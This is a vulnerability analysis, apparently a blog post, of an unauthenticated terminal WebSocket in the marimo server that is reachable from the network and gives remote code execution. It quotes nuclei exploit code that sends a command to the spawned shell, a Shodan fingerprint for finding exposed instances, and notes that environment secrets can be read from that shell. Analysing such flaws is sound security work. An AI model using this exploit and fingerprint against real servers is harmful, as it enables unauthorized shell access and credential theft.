Starlette's auth middleware does not gate WebSockets. The author said so.
On September 9, 2025, commit 2beaf09d3 landed in the marimo repo. The commit message is one paragraph:
Starlette's auth middleware does not validate auth on websocket connections (only HTTP). This adds an extra validation step during the websocket initial connection.
The patch added seven lines at the top of the main kernel WebSocket handler in marimo/_server/api/endpoints/ws_endpoint.py:
app_state = AppState(websocket)
# Validate authentication before proceeding
if app_state.enable_auth and not validate_auth(websocket):
await websocket.close(
WebSocketCodes.UNAUTHORIZED, "MARIMO_UNAUTHORIZED"
)
return
The same seven lines landed at the top of ws_sync in the same commit, covering the Loro RTC endpoint. The diagnosis in the commit message is correct and complete. Starlette's AuthenticationMiddleware runs on every connection, but its job is to populate scope["user"], not to reject unauthenticated ones. HTTP endpoints opt into rejection through the @requires(...) decorator. WebSocket endpoints have no equivalent. They have to call validate_auth() inside the handler body, or nothing rejects them.
The marimo server registered three @router.websocket handlers in its main router. The sweep covered two of them:
| Route |
File |
Auth check after Sept 9, 2025 |
/ws |
endpoints/ws_endpoint.py |
Added in commit 2beaf09d3 |
/ws_sync |
endpoints/ws_endpoint.py |
Added in commit 2beaf09d3 |
/terminal/ws |
endpoints/terminal.py |
None |
The file next to the two that were patched contained a handler that spawned a PTY shell, and the sweep missed it.
The exploit is the endpoint
The published PoC is a nuclei template. The business logic is fourteen lines:
let conn = net.Open('tcp', addr);
let wsKey = "dGhlIHNhbXBsZSBub25jZQ==";
let req = "GET /terminal/ws HTTP/1.1\r\n";
req += "Host: " + addr + "\r\n";
req += "Upgrade: websocket\r\n";
req += "Connection: Upgrade\r\n";
req += "Sec-WebSocket-Key: " + wsKey + "\r\n";
req += "Sec-WebSocket-Version: 13\r\n";
req += "Origin: http://" + addr + "\r\n";
req += "\r\n";
conn.Send(req);
let upgradeResp = conn.RecvString();
if (upgradeResp.indexOf("101") !== -1) {
conn.SendHex("818337fa1e2d5e9e14");
No cookie. No Authorization header. No access_token query parameter. A raw HTTP upgrade to the terminal path, and the server returns HTTP/1.1 101 Switching Protocols.
The hex payload decodes cleanly. 0x81 is a FIN text frame. 0x83 is mask-on, three-byte payload. 0x37fa1e2d is the mask, 0x5e9e14 is the masked body. XOR produces the bytes 69 64 0a, which is id\n.
The handler receives that as a text message inside _write_to_pty, encodes it as UTF-8, and writes it to the PTY master file descriptor that pty.fork() returned. The child side of the fork has executed /bin/bash. The shell reads id from its stdin, runs it, and writes uid=1000(user) gid=1000(user) groups=... back through the PTY. _read_from_pty wakes up, pulls the bytes, decodes them, and sends them as a WebSocket text message. The template's matcher is uid=\d+\([^)]+\), which is the exact output shape of id(1).
The shell the attacker is talking to inherits everything the parent had. pty.fork() preserves the environment, the working directory, the open file descriptors that survive fork, and the process credentials. Marimo's child-setup helper does not drop privileges or clear the environment:
def _create_shell_environment(cwd: str | None = None) -> tuple[str, dict[str, str]]:
...
env = os.environ.copy()
env["TERM"] = "xterm-256color"
env["LANG"] = env.get("LANG", "en_US.UTF-8")
env["LC_ALL"] = env.get("LC_ALL", "en_US.UTF-8")
Three environment variables get set. The rest of os.environ is copied wholesale. Whatever cloud credentials, database URLs, API tokens, or secret-manager tokens the operator exported before marimo edit are visible to the unauthenticated shell via env on its first line of input. In typical container deployments the shell is running as root, or as an application user with write access to the notebook tree and unrestricted network egress. The PoC confirms a shell. Confirming a shell is the hard part.
The pre-patch guards were availability checks
The pre-patch handler did have two guards. It rejected non-edit modes, and it rejected environments where pty is unavailable:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(
code=1008, reason="Terminal only available in edit mode"
)
return
if not supports_terminal():
await websocket.close(
code=1008, reason="Terminal not supported in this environment"
)
return
try:
await websocket.accept()
Both are availability checks. Neither answers the question "is this caller allowed to open a shell on this server." The first check is satisfied by running marimo edit, which is how the product is marketed. The second is satisfied by Linux, which is where the product is deployed. The handler has shape that looks defensive, because it returns early on two different conditions, and the shape is the kind of shape a reviewer scans as "this function rejects bad input." The function does reject bad input. It just never rejects unauthenticated input.
The fix is the commit from September 2025, copied into the file next door
Commit c24d48063, April 8, 2026, PR #9098, titled "fix: properly authenticate terminal route":
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
+
+ if app_state.enable_auth and not validate_auth(websocket):
+ await websocket.close(
+ WebSocketCodes.UNAUTHORIZED, "MARIMO_UNAUTHORIZED"
+ )
+ return
+
if app_state.mode != SessionMode.EDIT:
The fix is the same seven-line block, written by the same author, calling the same function, producing the same close code. The file containing the earlier fix was endpoints/ws_endpoint.py. The file that needed this fix was endpoints/terminal.py. The two files are in the same directory.
Between September 9, 2025 and April 8, 2026, the marimo server shipped 211 days of releases. In every one of them, the fix pattern was present in the repository, and the endpoint that most needed it was missing the pattern.
The tests institutionalized it
The test file for the terminal endpoint existed before the fix. Its main case:
@pytest.mark.skipif(is_windows, reason="Skip on Windows")
def test_terminal_ws(client: TestClient) -> None:
with client.websocket_connect("/terminal/ws") as websocket:
websocket.send_text("echo hello")
data = websocket.receive_text()
No access_token. No authentication. The test asserts that echo hello reaches the shell and comes back. The test passed because the production code let it pass. The test did not catch the missing auth check. The test encoded the same assumption the handler did, written by the same author on the same afternoon as the handler.
The fix had to retrofit every existing terminal test to pass ?access_token=fake-token in the URL, and add two new cases asserting that the wrong token and the missing token both close with WebSocket code 3000:
def test_terminal_ws_unauthorized(client: TestClient) -> None:
"""Test terminal websocket rejects unauthenticated connections."""
with pytest.raises(WebSocketDisconnect) as exc_info:
with client.websocket_connect("/terminal/ws"):
pass
assert exc_info.value.code == 3000
The two positive-path tests that had shipped since July 2024 were running for twenty months against an endpoint that had never required a token. The tests did not miss the bug. They were the bug, in test form.
A mass-scan primitive was built into the template
The nuclei template ships with metadata that makes this a one-command internet-scale exploit:
metadata:
verified: true
max-request: 1
vendor: marimo-team
product: marimo
shodan-query: http.favicon.hash:-1864630356
tags: cve,cve2026,marimo,rce,websocket,vkev,kev
The shodan-query field is a pre-computed fingerprint. Anyone with a Shodan account can paste http.favicon.hash:-1864630356 into the dashboard and get the list of every marimo instance reachable from the public internet. Pipe that list through nuclei -t CVE-2026-39987.yaml and each confirmed hit has an id return. The template tags include vkev and kev, which is the project's own flag that the vulnerability is on the CISA Known Exploited Vulnerabilities list. CISA set the KEV deadline at May 7, 2026, which requires federal agencies to patch within about two weeks of the listing. Mandatory patching deadlines get attached when CISA has evidence of in-wild exploitation.
The delta between "the fix was in the file next door, unnoticed" and "a templated exploit with a shodan fingerprint is in the public nuclei catalog and the vulnerability is KEV-listed" is approximately two weeks. The bug had been silent for twenty months. Once it stopped being silent, the operational kit arrived immediately.
The third instance, five days later
On April 13, 2026, commit 936ed92cf landed. Title: "fix: require auth in LSP middleware." The patch adds a require_auth: bool = True gate to ProxyMiddleware, which fronts the LSP WebSocket. That is the third instance of the same class in the same codebase, patched by the same author, one working week after the terminal fix:
| Date |
Event |
Same class |
| 2024-07-22 |
/terminal/ws introduced (PR #1786), forks /bin/bash via pty.fork() |
First instance planted |
| 2025-09-09 |
/ws and /ws_sync get validate_auth (PR #6284) |
Author writes the class diagnosis in the commit message |
| 2026-04-08 |
/terminal/ws gets the same seven-line block (PR #9098), ships in release 0.23.0 |
CVE-2026-39987 |
| 2026-04-13 |
LSP proxy middleware gets require_auth (PR #9160) |
Third instance, patched proactively |
| 2026-04-23 |
Nuclei template published; CVE lands on CISA KEV with deadline 2026-05-07 |
|
The substrate is Starlette plus WebSockets. The middleware architecture guarantees HTTP endpoints opt into auth through a decorator and WebSocket endpoints do not. Marimo's maintainer has now written essentially the same fix three times in three different files, citing the same diagnosis each time. This is the design-debt-driver shape: patches close instances, the design holds the primitive. The class has produced one CVE of the three instances. The CVE is the one where the handler happened to fork a shell.
PoC: projectdiscovery/nuclei-templates
The fix for this endpoint was in the file next door. It had been there for seven months.